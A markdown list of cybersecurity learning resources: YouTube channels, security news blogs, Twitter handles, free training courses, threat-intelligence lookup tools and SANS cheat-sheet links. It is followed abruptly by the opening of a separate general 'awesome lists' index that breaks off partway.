* **Corey Nachreiner** - security newsbites, 2.7K subscribers, 2-3 videos a week, no set schedule https://www.youtube.com/channel/UC7dUL0FbVPGqzdb2HtWw3Xg
* **Adrian Crenshaw** - lots of lengthy con-style talks https://www.youtube.com/user/irongeek
* **0x41414141** - Channel with couple challenges, well explained https://www.youtube.com/channel/UCPqes566OZ3G_fjxL6BngRQ
* **GynvaelEN** - Security streams from Google Researcher. Mainly about CTFs, computer security, programing and similar things. https://www.youtube.com/channel/UCCkVMojdBWS-JtH7TliWkVg
* **Geeks Fort** - KIF - lots of brief screenshot vids, no recent posts https://www.youtube.com/channel/UC09NdTL2hkThGLSab8chJMw
* **Error 404 Cyber News** - short screen-shot videos with loud metal, no dialog, bi-weekly https://www.youtube.com/channel/UC4HcNHFKshqj-aeyi6imW7Q
* **Don Does 30** - amateur pen-tester posting lots of brief screenshot vids regularly, 9K Followers https://www.youtube.com/channel/UCarxjDjSYsIf50Jm73V1D7g
* **Derek Rook** - CTF/Boot2root/wargames Walkthrough - lots of lengthy screenshot instructional vids, https://www.youtube.com/channel/UCMACXuWd2w6_IEGog744UaA
* **DemmSec** - lots of pen testing vids, somewhat irregular uploads, 44K followers https://www.youtube.com/channel/UCJItQmwUrcW4VdUqWaRUNIg
* **DEFCON Conference** - lots of lengthy con-style vids from the iconical DEFCON https://www.youtube.com/channel/UC6Om9kAkl32dWlDSNlDS9Iw
* **Pentester Academy TV** - lots of brief videos, very regular posting, up to +8 a week https://www.youtube.com/channel/UChjC1q6Ami7W0E71TzPZELA
* **Open SecurityTraining** - lots of lengthy lecture-style vids, no recent posts, but quality info. https://www.youtube.com/channel/UCthV50MozQIfawL9a_g5rdg
* **NetSecNow** - channel of pentesteruniversity.org, seems to post once a month, screenshot instructional vids
https://www.youtube.com/channel/UC6J_GnSAi7F2hY4RmnMcWJw
* **Metasploitation** - lots of screenshot vids, little to no dialogue, all about using Metasploit, no recent vids. https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZrg
* **LiveOverflow** - Lots of brief-to-medium instructional vids, covering things like buffer overflows and exploit writing, regular posts. https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w
* **LionSec** - lots of brief screenshot instructional vids, no dialog https://www.youtube.com/channel/UCCQLBOt_hbGE-b9I696VRow
* **Latest Hacking News** 10K followers, medium length screenshot videos, no recent releases https://www.youtube.com/user/thefieldhouse/feed
* **John Hammond** - Solves CTF problems. contains penTesting tips and tricks https://www.youtube.com/user/RootOfTheNull
* **JackkTutorials** - lots of medium length instructional vids with some AskMe vids from the youtuber https://www.youtube.com/channel/UC64x_rKHxY113KMWmprLBPA
* **iExplo1t** - lots of screenshot vids aimed at novices, 5.7K Followers, no recent posts https://www.youtube.com/channel/UCx0HClQ_cv0sLNOVhoO2nxg/videos
* **HACKING TUTORIALS** - handful of brief screenshot vids, no recent posts. https://www.youtube.com/channel/UCbsn2kQwNxcIzHwbdDjzehA
* **HackerSploit** - regular posts, medium length screenshot vids, with dialog https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q
* **IPPSec** https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA
* **Tradecraft Security Weekly** - Want to learn about all of the latest security tools and techniques?
https://wiki.securityweekly.com/Tradecraft_Security_Weekly
* **Derek Rook** - CTF/Boot2root/wargames Walkthrough - lots of lengthy screenshot instructional vids https://www.youtube.com/channel/UCMACXuWd2w6_IEGog744UaA
* **Adrian Crenshaw** - lots of lengthy con-style talks https://www.youtube.com/user/irongeek
* **LionSec** - lots of brief screenshot instructional vids, no dialog https://www.youtube.com/channel/UCCQLBOt_hbGE-b9I696VRow
* **Zer0Mem0ry** - lots of brief c++ security videos, programming intensive
https://www.youtube.com/channel/UCDk155eaoariJF2Dn2j5WKA
* **webpwnized** - lots of brief screenshot vids, some CTF walkthroughs https://www.youtube.com/channel/UCPeJcqbi8v46Adk59plaaXg
* **Waleed Jutt** - lots of brief screenshot vids covering web security and game programming https://www.youtube.com/channel/UCeN7cOELsyMHrzfMsJUgv3Q
* **Troy Hunt** - lone youtuber, medium length news videos, 16K followers, regular content https://www.youtube.com/channel/UCD6MWz4A61JaeGrvyoYl-rQ
* **Tradecraft Security Weekly** - Want to learn about all of the latest security tools and techniques?https://wiki.securityweekly.com/Tradecraft_Security_Weekly
* **SSTec Tutorials** - lots of brief screenshot vids, regular updates https://www.youtube.com/channel/UCHvUTfxL_9bNQgqzekPWHtg
* **Shozab Haxor** - lots of screenshot style instructional vids, regular updates, windows CLI tutorial https://www.youtube.com/channel/UCBwub2kRoercWQJ2mw82h3A
* **Seytonic** - variety of DIY hacking tutorials, hardware hacks, regular updates https://www.youtube.com/channel/UCW6xlqxSY3gGur4PkGPEUeA
* **Security Weekly** - regular updates, lengthy podcast-style interviews with industry pros https://www.youtube.com/channel/UCg--XBjJ50a9tUhTKXVPiqg
* **SecureNinjaTV** - brief news bites, irregular posting, 18K followers https://www.youtube.com/channel/UCNxfV4yR0nIlhFmfwcdf3BQ
* **Samy Kamkar’s Applied hacking** https://www.youtube.com/user/s4myk
* **rwbnetsec** - lots of medium length instructional videos covering tools from Kali 2.0, no recent posts. https://www.youtube.com/channel/UCAJ8Clc3188ek9T_5XTVzZQ
* **Penetration Testing in Linux** https://www.youtube.com/channel/UC286ntgASMskhPIJQebJVvA
## Links
### Cyber Security Blog Posts-
* https://cxsecurity.com/
* https://danielmiessler.com/
* https://www.grahamcluley.com/about-this-site/
* https://www.itsecurityguru.org/
* https://securityweekly.com/blog
* https://thehackernews.com/
* https://www.infosecurity-magazine.com/
* https://www.csoonline.com/
* https://www.tripwire.com/state-of-security/
* https://www.troyhunt.com/
* http://lastwatchdog.com/
* https://www.schneier.com/
* https://blogs.akamai.com/
* http://krebsonsecurity.com/
* http://taosecurity.blogspot.ro/
* http://www.darkreading.com/
* http://www.pcworld.com/
* http://www.wired.com/
* http://www.cio.com/
* https://www.cnet.com/
* https://www.welivesecurity.com/
* https://www.afcea.org/content/
* https://threatpost.com/
* http://www.computerworld.com/category/emerging-technology/
* https://threatpost.com/
* https://dankaminsky.com/
* https://www.liquidmatrix.org/blog/
* https://www.schneier.com/
* https://www.grahamcluley.com/
* https://www.hackingarticles.in/
* https://taosecurity.blogspot.com/
* https://securityaffairs.co/wordpress/
* https://dzone.com/cloud-computing-tutorials-tools-news
* https://securityweekly.com/
* https://www.hackread.com/
* https://www.infoq.com/?variant=homepage_collections
* https://www.wired.com/category/threatlevel/
* https://www.bankinfosecurity.in/
### Roundups for DFIR
* https://thisweekin4n6.com/
### Take help from Android/IOS Apps-
* Cyber Security News by Newsfusion
* Cyware Social - Cyber Security News by Cyware
* Hackers News (Tech & Cyber Security News) by Lucifer Corp.
* Cyber Security News by BT & Partners Group
* HackerStorm Cyber Security News LITE by HackerStorm
## Twitter-Handles
* @blackperl_dfir
* @jatinlibra
* @hackinarticles
* @darktracer_int
* @phillmoore
* @ICSCERT
* @ThalesCloudSec
* @SentinelOne
* @BushidoToken
* @fs0c131y
* @dailydot
* @thousandeyes
* @Cyjax_Ltd
* @cloudsa
* @DSCI_TiR
* @threatintelctr
* @cipherstorm
* @pulsedive
* @MBThreatIntel
* @CtacPaladion
* @tlsn0085
* @ThreatCloud
* @threatintel
* @MITREattack
* @CSOCIntel
* @MaliciousLife
* @JacksonHHax
* @secureideas
* @nullenc0de
* @malwarelab_eu
* @sl33tpanth3r
* @MalwareTechBlog
* @DarkReading
* @NCSCgov
* @cyber
## Conferences
Please follow my LinkedIn Posts to know about the upcoming Conferences. I will try to pin them down here as well.
## Instructor-Led-Webinar-&-Workshops
Please follow my LinkedIn Posts to know about the upcoming Conferences. I will try to pin them down here as well.
## Training
* **Nox Cyber** Jay Jay Davey site full of curated cybersecurity training resources. https://noxcyber.co.uk/
* **Cloud & Technical Traning** This awesome traning is designed and created by Adrian Cantrill. Check out the resource here- https://learn.cantrill.io/
* **Fortinet Security Appliance Training** Free access to the FortiGate Essentials Training Course and Network Security Expert courses 1 and 2 https://www.fortinet.com/training/cybersecurity-professionals.html
* **Chief Information Security Officer (CISO) Workshop Training** - The Chief Information Security Office (CISO) workshop contains a collection of security learnings, principles, and recommendations for modernizing security in your organization. This training workshop is a combination of experiences from Microsoft security teams and learnings from customers. - https://docs.microsoft.com/en-us/security/ciso-workshop/ciso-workshop
* **CLARK Center Plan C** - Free cybersecurity curriculum that is primarily video-based or provide online assignments that can be easily integrated into a virtual learning environments https://clark.center/home
* **Hack.me** is a FREE, community based project powered by eLearnSecurity. The community can build, host and share vulnerable web application code for educational and research purposes. It aims to be the largest collection of "runnable" vulnerable web applications, code samples and CMS's online. The platform is available without any restriction to any party interested in Web Application Security. https://hack.me/
* **Hacker101** - Free classes for web security - https://www.hacker101.com/
* **ElasticStack** - Free on-demand Elastic Stack, observability, and security courses. https://training.elastic.co/learn-from-home
* **Hoppers Roppers** - Community built around a series of free courses that provide training to beginners in the security field. https://www.hoppersroppers.org/training.html
* **IBM Security Learning Academy** Free technical training for IBM Security products. https://www.securitylearningacademy.com/
* **M.E. Kabay** Free industry courses and course materials for students, teachers and others are welcome to use for free courses and lectures. http://www.mekabay.com/courses/index.htm
* **Open P-TECH** Free digital learning on the tech skills of tomorrow. https://www.ptech.org/open-p-tech/
* **Udemy** - Online learning course platform "collection from the free courses in our learning marketplace" https://www.udemy.com/courses/free/
* **Enroll Now Free: PCAP Programming Essentials in Python** https://www.netacad.com/courses/programming/pcap-programming-essentials-python Python is the very versatile, object-oriented programming language used by startups and tech giants, Google, Facebook, Dropbox and IBM. Python is also recommended for aspiring young developers who are interested in pursuing careers in Security, Networking and Internet-of-Things. Once you complete this course, you are ready to take the PCAP – Certified Associate in Python programming. No prior knowledge of programming is required.
* **Packt Web Development Course** Web Development Get to grips with the fundamentals of the modern web Unlock one year of free online access. https://courses.packtpub.com/pages/free?fbclid=IwAR1FtKQcYK8ycCmBMXaBGvW_7SgPVDMKMaRVwXYcSbiwvMfp75gazxRZlzY
* **Stanford University Webinar - Hacked! Security Lessons from Big Name Breaches** 50 minute cyber lecture from Stanford.You Will Learn: -- The root cause of key breaches and how to prevent them; How to measure your organization’s external security posture; How the attacker lifecycle should influence the way you allocate resources https://www.youtube.com/watch?v=V9agUAz0DwI
* **Stanford University Webinar - Hash, Hack, Code: Emerging Trends in Cyber Security** Join Professor Dan Boneh as he shares new approaches to these emerging trends and dives deeper into how you can protect networks and prevent harmful viruses and threats. 50 minute cyber lecture from Stanford. https://www.youtube.com/watch?v=544rhbcDtc8
* **Kill Chain: The Cyber War on America's Elections (Documentary)** (Referenced at GRIMMCON), In advance of the 2020 Presidential Election, Kill Chain: The Cyber War on America’s Elections takes a deep dive into the weaknesses of today’s election technology, an issue that is little understood by the public or even lawmakers. https://www.hbo.com/documentaries/kill-chain-the-cyber-war-on-americas-elections
* **Intro to Cybersecurity Course** (15 hours) Learn how to protect your personal data and privacy online and in social media, and why more and more IT jobs require cybersecurity awareness and understanding. Receive a certificate of completion. https://www.netacad.com/portal/web/self-enroll/c/course-1003729
* **Cybersecurity Essentials** (30 hours) Foundational knowledge and essential skills for all cybersecurity domains, including info security, systems sec, network sec, ethics and laws, and defense and mitigation techniques used in protecting businesses. https://www.netacad.com/portal/web/self-enroll/c/course-1003733
* **Pluralsight and Microsoft** Partnership to help you become an expert in Azure. With skill assessments and over 200+ courses, 40+ Skill IQs and 8 Role IQs, you can focus your time on understanding your strengths and skill gaps and learn Azure as quickly as possible.https://www.pluralsight.com/partners/microsoft/azure
* **Blackhat Webcast Series** Monthly webcast of varying cyber topics. I will post specific ones in the training section below sometimes, but this is worth bookmarking and checking back. They always have top tier speakers on relevant, current topics. https://www.blackhat.com/html/webcast/webcast-home.html
* **Federal Virtual Training Environment** - US Govt sponsored free courses. There are 6 available, no login required. They are 101 Coding for the Public, 101 Critical Infrastructure Protection for the Public, Cryptocurrency for Law Enforcement for the Public, Cyber Supply Chain Risk Management for the Public, 101 Reverse Engineering for the Public, Fundamentals of Cyber Risk Management. https://fedvte.usalearning.gov/public_fedvte.php
* **Harrisburg University CyberSecurity** Collection of 18 curated talks. Scroll down to CYBER SECURITY section. You will see there are 4 categories Resource Sharing, Tools & Techniques, Red Team (Offensive Security) and Blue Teaming (Defensive Security). Lot of content in here; something for everyone. https://professionaled.harrisburgu.edu/online-content/
* **OnRamp 101-Level ICS Security Workshop** Starts this 4/28. 10 videos, Q&A / discussion, bonus audio, great links. Get up to speed fast on ICS security. It runs for 5 weeks. 2 videos per week. Then we keep it open for another 3 weeks for 8 in total. https://onramp-3.s4xevents.com
* **HackXOR WebApp CTF** Hackxor is a realistic web application hacking game, designed to help players of all abilities develop their skills. All the missions are based on real vulnerabilities I've personally found while doing pentests, bug bounty hunting, and research. https://hackxor.net/
* **Suricata Training** 5-part training module using a simulation as a backdrop to teach how to use Suricata. https://rangeforce.com/resource/suricata-challenge-reg/
* **Linux Journey** A free, handy guide for learning Linux. Coverage begins with the fundamentals of command line navigation and basic text manipulation. It then extends to more advanced topics, such as file systems and networking. The site is well organized and includes many examples along with code snippets. Exercises and quizzes are provided as well. https://linuxjourney.com
* **Ryan's Tutorials** A collection of free, introductory tutorials on several technology topics including: Linux command line, Bash scripting, creating and styling webpages with HTML and CSS, counting and converting between different number systems, and writing regular expressions. https://ryanstutorials.net
* **The Ultimate List of SANS Cheat Sheets** Massive collection of free cybersecurity cheat sheets for quick reference (login with free SANS account required for some penetration testing resources). https://www.sans.org/blog/the-ultimate-list-of-sans-cheat-sheets/
* **CYBER INTELLIGENCE ANALYTICS AND OPERATIONS** Learn:The ins and outs of all stages of the intelligence cycle from collection to analysis from seasoned intel professionals. How to employ threat intelligence to conduct comprehensive defense strategies to mitigate potential compromise. How to use TI to respond to and minimize impact of cyber incidents. How to generate comprehensive and actionable reports to communicate gaps in defenses and intelligence findings to decision makers. https://www.shadowscape.io/cyber-intelligence-analytics-operat
* **Linux Command Line for Beginners** 25 hours of training - In this course, you’ll learn from one of Fullstack’s top instructors, Corey Greenwald, as he guides you through learning the basics of the command line through short, digestible video lectures. Then you’ll use Fullstack’s CyberLab platform to hone your new technical skills while working through a Capture the Flag game, a special kind of cybersecurity game designed to challenge participants to solve computer security problems by solving puzzles. Finally, through a list of carefully curated resources through a series of curated resources, we’ll introduce you to some important cybersecurity topics so that you can understand some of the common language, concepts and tools used in the industry. https://prep.fullstackacademy.com/
* **Hacking 101** 6 hours of free training - First, you'll take a tour of the world and watch videos of hackers in action across various platforms (including computers, smartphones, and the power grid). You may be shocked to learn what techniques the good guys are using to fight the bad guys (and which side is winning). Then you'll learn what it's like to work in this world, as we show you the different career paths open to you and the (significant) income you could make as a cybersecurity professional. https://cyber.fullstackacademy.com/prepare/hacking-101
* **NETINSTRUCT.COM** Free Cybersecurity, IT and Leadership Courses - Includes OS and networking basics. Critical to any Cyber job. https://netinstruct.com/courses
* **HackerSploit** - HackerSploit is the leading provider of free and open-source Infosec and cybersecurity training. https://hackersploit.org/
* **CyberStart America** - "A new program designed to give high school students in the US free access to cybersecurity learning resources written and developed by industry professionals, which can also be used to train and qualify for a National Cyber Scholarship." Sponsored by the SANS Institue and the National Cyber Scholarship Foundation, the program is open to high school students who are at least 13 years old and enrolled in 9th, 10th, 11th or 12th grade at a public or private school (or the homeschool equivalent) in the US. https://www.cyberstartamerica.org
* **WebSecurity Academy** Free online web security training from the creators of Burp Suite https://portswigger.net/web-security
* **Mosse Cyber Security Institute** Introduction to cybersecurity free certification with 100+ hours of training, no expiry/renewals, https://www.mosse-institute.com/certifications/mics-introduction-to-cyber-security.html
* **BugCrowd University** Free bug hunting resources and methodologies in form of webinars, education and training. https://www.bugcrowd.com/hackers/bugcrowd-university/
* **Certified Network Security Specialist** Certification and training; Expires Aug 31 2020 Use coupon code #StaySafeHome during checkout to claim your free access. Offer is valid till 31/08/2020. £500.00 Value https://www.icsi.co.uk/courses/icsi-cnss-certified-network-security-specialist-covid-19
* **Metasploit Unleashed** Most complete and in-depth Metasploit guide available, with contributions from the authors of the No Starch Press Metasploit Book. https://www.offensive-security.com/metasploit-unleashed/
* **AWS Cloud Certified** Get skills in AWS to be more marketable. Training is quality and free. https://www.youtube.com/watch?v=3hLmDS179YE Have to create an AWS account, Exam is $100.
* **SANS Faculty Free Tools List of OSS** developed by SANS staff. https://www.sans.org/media/free/free-faculty-tools.pdf?msc=sans-free-lp
* **"Using ATT&CK for Cyber Threat Intelligence Training"** - 4 hour training The goal of this training is for students to understand the following: at: https://attack.mitre.org/resources/training/cti/
* **Coursera** -"Coursera Together: Free online learning during COVID-19" Lots of different types of free training. https://blog.coursera.org/coursera-together-free-online-learning-during-covid-19/
* **flAWS System** Through a series of levels you'll learn about common mistakes and gotchas when using Amazon Web Services (AWS). Multiple levels, "Buckets" of fun. http://flaws.cloud/
* **Stanford CS 253 Web Security** A free course from Stanford providing a comprehensive overview of web security. The course begins with an introduction to the fundamentals of web security and proceeds to discuss the most common methods for web attacks and their countermeasures. The course includes video lectures, slides, and links to online reading assignments. https://web.stanford.edu/class/cs253
## References-Tools
* VT- https://www.virustotal.com/gui/
* IPVoid- https://www.ipvoid.com/
* URL Void- https://www.urlvoid.com/
* Abuse IPDB- https://www.abuseipdb.com/
* MX Lookup- https://mxtoolbox.com/
* URL Sandbox- https://urlscan.io/
* Open Sandbox- https://www.hybrid-analysis.com/
* TI Search Engine- https://maltiverse.com/search
* IP Details- https://bgp.he.net/
* Joe Sandbox- https://www.joesandbox.com/
* IP Address Lookup- http://whatismyipaddress.com/ip-lookup
* Align Vault Lookup- https://otx.alienvault.com/browse/global?sort=created&include_inactive=0&page=1&indicatorsSearch=
* Hash lookup- https://totalhash.cymru.com/
* Dan’s tool- https://www.url-encode-decode.com/base64-encode-decode/
* Code Decode/Encoder- https://www.browserling.com/tools/utf16-encode
* Script converter- https://www.freeformatter.com/javascript-beautifier.html#ad-output
* Online Diagram creator- https://app.diagrams.net/
* ThreatCrowd- https://www.threatcrowd.org/
* Malware Analysis Sanboxes- https://redteamer.medium.com/15-online-sandboxes-for-malware-analysis-f8885ecb8a35
* Malware URL Exchange- https://urlhaus.abuse.ch/
* Check pwned credentials Reports- https://haveibeenpwned.com/
## The-Ultimate-List-of-CheatSheets
### General IT Security
* Windows and Linux Terminals & Command Lines - https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltea7de5267932e94b/5eb08aafcf88d36e47cf0644/Cheatsheet_SEC301-401_R7.pdf
* TCP/IP and tcpdump- https://www.sans.org/security-resources/tcpip.pdf?msc=Cheat+Sheet+Blog
* IPv6 Pocket Guide- https://www.sans.org/security-resources/ipv6_tcpip_pocketguide.pdf?msc=Cheat+Sheet+Blog
* Powershell Cheat Sheet- https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/bltf146e4f361db3938/5e34a7bc946d717e2eab6139/power-shell-cheat-sheet-v41.pdf?msc=Cheat+Sheet+Blog
* Writing Tips for IT Professionals- https://zeltser.com/media/docs/writing-tips-for-it-professionals.pdf
* Tips for Creating and Managing New IT Products- https://zeltser.com/media/docs/new-product-management-tips.pdf?msc=Cheat+Sheet+Blog
* Tips for Getting the Right IT Job- https://zeltser.com/media/docs/getting-the-right-it-job-tips.pdf?msc=Cheat+Sheet+Blog
* Tips for Creating a Strong Cybersecurity Assessment Report- https://zeltser.com/media/docs/security-assessment-report-cheat-sheet.pdf?msc=Cheat+Sheet+Blog
* Critical Log Review Checklist for Security Incidents- https://www.sans.org/brochure/course/log-management-in-depth/6?msc=Cheat+Sheet+Blog
* Security Architecture Cheat Sheet for Internet Applications- https://zeltser.com/media/docs/security-architecture-cheat-sheet.pdf?msc=Cheat+Sheet+Blog
* Tips for Troubleshooting Human Communications- https://zeltser.com/human-communications-cheat-sheet/?msc=Cheat+Sheet+Blog
* Security Incident Survey Cheat Sheet for Server Administrators- https://zeltser.com/media/docs/security-incident-survey-cheat-sheet.pdf?msc=Cheat+Sheet+Blog
* Network DDoS Incident Response Cheat Sheet- https://zeltser.com/media/docs/ddos-incident-cheat-sheet.pdf?msc=Cheat+Sheet+Blog
* Information Security Assessment RFP Cheat Sheet- https://zeltser.com/media/docs/security-assessment-rfp-cheat-sheet.pdf?msc=Cheat+Sheet+Blog
* Python 3 Essentials- https://www.sans.org/blog/sans-cheat-sheet-python-3/?msc=Cheat+Sheet+Blog
### Digital Forensics and Incident Response
* JSON and jq Quick Start Guide- https://digital-forensics.sans.org/media/FOR572HANDOUT_jq_v1.2.pdf?msc=Cheat+Sheet+Blog&_ga=2.159686133.975788839.1616414347-1472635969.1601276132
* SIFT Workstation Cheat Sheet- https://digital-forensics.sans.org/media/sift_cheat_sheet.pdf?msc=Cheat+Sheet+Blog&_ga=2.159686133.975788839.1616414347-1472635969.1601276132
* Tips for Reverse-Engineering Malicious Code- https://digital-forensics.sans.org/media/sift_cheat_sheet.pdf?msc=Cheat+Sheet+Blog&_ga=2.159686133.975788839.1616414347-1472635969.1601276132
* REMnux Usage Tips for Malware Analysis on Linux- https://digital-forensics.sans.org/media/remnux-malware-analysis-tips.pdf?msc=Cheat+Sheet+Blog&_ga=2.159686133.975788839.1616414347-1472635969.1601276132
* Analyzing Malicious Documents- https://digital-forensics.sans.org/media/analyzing-malicious-document-files.pdf?msc=Cheat+Sheet+Blog&_ga=2.159686133.975788839.1616414347-1472635969.1601276132
* Malware Analysis and Reverse-Engineering Cheat Sheet- https://digital-forensics.sans.org/media/malware-analysis-cheat-sheet.pdf?msc=Cheat+Sheet+Blog&_ga=2.159686133.975788839.1616414347-1472635969.1601276132
* SQlite Pocket Reference Guide- https://digital-forensics.sans.org/media/SQlite-PocketReference-final.pdf?msc=Cheat+Sheet+Blog&_ga=2.159686133.975788839.1616414347-1472635969.1601276132
* Eric Zimmerman's tools Cheat Sheet- https://digital-forensics.sans.org/media/EricZimmermanCommandLineToolsCheatSheet-v1.0.pdf?msc=Cheat+Sheet+Blog&_ga=2.108705226.975788839.1616414347-1472635969.1601276132
* Rekall Memory Forensics Cheat Sheet- https://digital-forensics.sans.org/media/rekall-memory-forensics-cheatsheet.pdf?msc=Cheat+Sheet+Blog&_ga=2.108705226.975788839.1616414347-1472635969.1601276132
* Linux Shell Survival Guide- https://digital-forensics.sans.org/media/linux-shell-survival-guide.pdf?msc=Cheat+Sheet+Blog&_ga=2.108705226.975788839.1616414347-1472635969.1601276132
* Windows to Unix Cheat Sheet- https://digital-forensics.sans.org/media/windows_to_unix_cheatsheet.pdf?msc=Cheat+Sheet+Blog&_ga=2.108705226.975788839.1616414347-1472635969.1601276132
* Memory Forensics Cheat Sheet- https://digital-forensics.sans.org/media/volatility-memory-forensics-cheat-sheet.pdf?msc=Cheat+Sheet+Blog&_ga=2.108705226.975788839.1616414347-1472635969.1601276132
* Hex and Regex Forensics Cheat Sheet- https://digital-forensics.sans.org/media/hex_file_and_regex_cheat_sheet.pdf?msc=Cheat+Sheet+Blog&_ga=2.108705226.975788839.1616414347-1472635969.1601276132
* FOR518 Mac & iOS HFS+ Filesystem Reference Sheet- https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt61c336e02577e733/5eb0940e248a28605479ccf0/FOR518_APFS_CheatSheet_012020.pdf
* iOS Third-Party Apps Forensics Reference Guide Poster- https://www.sans.org/security-resources/posters/dfir/ios-third-party-apps-forensics-reference-guide-poster-300?msc=Cheat+Sheet+Blog
### SANS Community Cheat Sheets
* https://www.sans.org/security-resources/posters/dfir/ios-third-party-apps-forensics-reference-guide-poster-300?msc=Cheat+Sheet+Blog
### Cloud Security
* Multicloud Cheat Sheet- https://www.sans.org/security-resources/posters/cloud/multicloud-cheat-sheet-215?msc=blog-ultimate-list-cheat-sheets
* Cloud Security and DevOps Cheat Sheet- https://www.sans.org/security-resources/posters/cloud/cloud-security-devops-cheat-sheet-270
## DFIR-PODCasts
* The Digital Forensics Files Podcast- https://anchor.fm/dfiforensics
|
<h1 align="center">
<br>
<img width="400" src="https://rawgit.com/sindresorhus/awesome/master/media/logo.svg" alt="awesome">
<br>
<br>
<br>
</h1>
> A curated list of awesome lists
[What makes for an awesome list?](awesome.md)
If you want to contribute, please read the [contribution guidelines](contributing.md).
## Table of Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-end Development](#front-end-development)
- [Back-end Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Developer Environment](#developer-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Resources](#resources)
- [Learn](#learn)
- [Security](#security)
- [Miscellaneous](#miscellaneous)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs)
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks)
- [iOS](https://github.com/vsouza/awesome-ios)
- [Android](https://github.com/JStumpp/awesome-android)
- [Hybrid Apps](https://github.com/weblancaster/awesome-hybrid)
- [Electron](https://github.com/sindresorhus/awesome-electron)
- [Cordova](https://github.com/busterc/awesome-cordova)
- [React Native](https://github.com/jondot/awesome-react-native)
- [Xamarin](https://github.com/benoitjadinon/awesome-xamarin)
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux)
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript)
- [Swift](https://github.com/matteocrippa/awesome-swift)
- [Python](https://github.com/vinta/awesome-python)
- [Rust](https://github.com/kud1ing/awesome-rust)
- [Haskell](https://github.com/krispo/awesome-haskell)
- [PureScript](https://github.com/passy/awesome-purescript)
- [Go](https://github.com/avelino/awesome-go)
- [Scala](https://github.com/lauris/awesome-scala)
- [Ruby](https://github.com/markets/awesome-ruby)
- [Ruby Events](https://github.com/planetruby/awesome-events) *(Conferences, Meetups, etc.)*
- [Clojure](https://github.com/razum2um/awesome-clojure)
- [Elixir](https://github.com/h4cc/awesome-elixir)
- [Elm](https://github.com/isRuslan/awesome-elm)
- [Erlang](https://github.com/drobakowski/awesome-erlang)
- [Julia](https://github.com/svaksha/Julia.jl)
- [Lua](https://github.com/LewisJEllis/awesome-lua)
- [C](https://github.com/aleksandar-todorovic/awesome-c)
- [C/C++](https://github.com/fffaraz/awesome-cpp)
- [R](https://github.com/qinwf/awesome-R)
- [D](https://github.com/zhaopuming/awesome-d)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl)
- [Perl](https://github.com/hachiojipm/awesome-perl)
- [Groovy](https://github.com/kdabir/awesome-groovy)
- [Dart](https://github.com/yissachar/awesome-dart)
- [Java](https://github.com/akullpp/awesome-java)
- [OCaml](https://github.com/rizo/awesome-ocaml)
- [Coldfusion](https://github.com/seancoyne/awesome-coldfusion)
- [Fortran](https://github.com/rabbiabram/awesome-fortran)
- [.NET](https://github.com/quozd/awesome-dotnet)
- [PHP](https://github.com/ziadoz/awesome-php)
- [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi)
- [Assembler](https://github.com/mat0thew/awesome-asm)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey)
- [Crystal](https://github.com/veelenga/awesome-crystal)
- [TypeScript](https://github.com/dzharii/awesome-typescript)
## Front-end Development
- [JavaScript Must Watch Talks](https://github.com/bolshchikov/js-must-watch)
- [ES6 Tools](https://github.com/addyosmani/es6-tools)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo)
- [Web Tools](https://github.com/lvwzhen/tools)
- [Above-the-fold CSS Tools](https://github.com/addyosmani/above-the-fold-css-tools)
- [React](https://github.com/enaqx/awesome-react)
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way)
- [Polymer](https://github.com/Granze/awesome-polymer)
- [AngularJS](https://github.com/gianarb/awesome-angularjs)
- [Backbone](https://github.com/instanceofpro/awesome-backbone)
- [HTML5](https://github.com/diegocard/awesome-html5)
- [SVG](https://github.com/willianjusten/awesome-svg)
- [Canvas](https://github.com/raphamorim/awesome-canvas)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout)
- [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo)
- [Inspiration](https://github.com/NoahBuscher/Inspire)
- [Ember](https://github.com/nmec/awesome-ember)
- [Android UI](https://github.com/wasabeef/awesome-android-ui)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui)
- [Scalable CSS](https://github.com/davidtheclark/scalable-css-reading-list)
- [Meteor](https://github.com/Urigo/awesome-meteor)
- [BEM](https://github.com/sturobson/BEM-resources)
- [CSS Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox)
- [Web Typography](https://github.com/deanhume/typography)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y)
- [Material Design](https://github.com/sachin1092/awesome-material)
- [CSS](https://github.com/sota0805/awesome-css)
- [D3](https://github.com/wbkd/awesome-d3)
## Back-end Development
- [Django](https://github.com/rosarior/awesome-django)
- [Flask](https://github.com/humiaozuzu/awesome-flask)
- [Docker](https://github.com/veggiemonk/awesome-docker)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant)
- [Pyramid](https://github.com/ITCase/awesome-pyramid)
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp)
- [Symfony2](https://github.com/EmanueleMinotto/awesome-symfony2)
- [Laravel](https://github.com/chiraggude/awesome-laravel)
- [Rails](https://github.com/ekremkaraca/awesome-rails)
- [Phalcon](https://github.com/sergeyklay/awesome-phalcon)
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess)
- [nginx](https://github.com/fcambus/nginx-resources)
- [Dropwizard](https://github.com/stve/awesome-dropwizard)
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses)
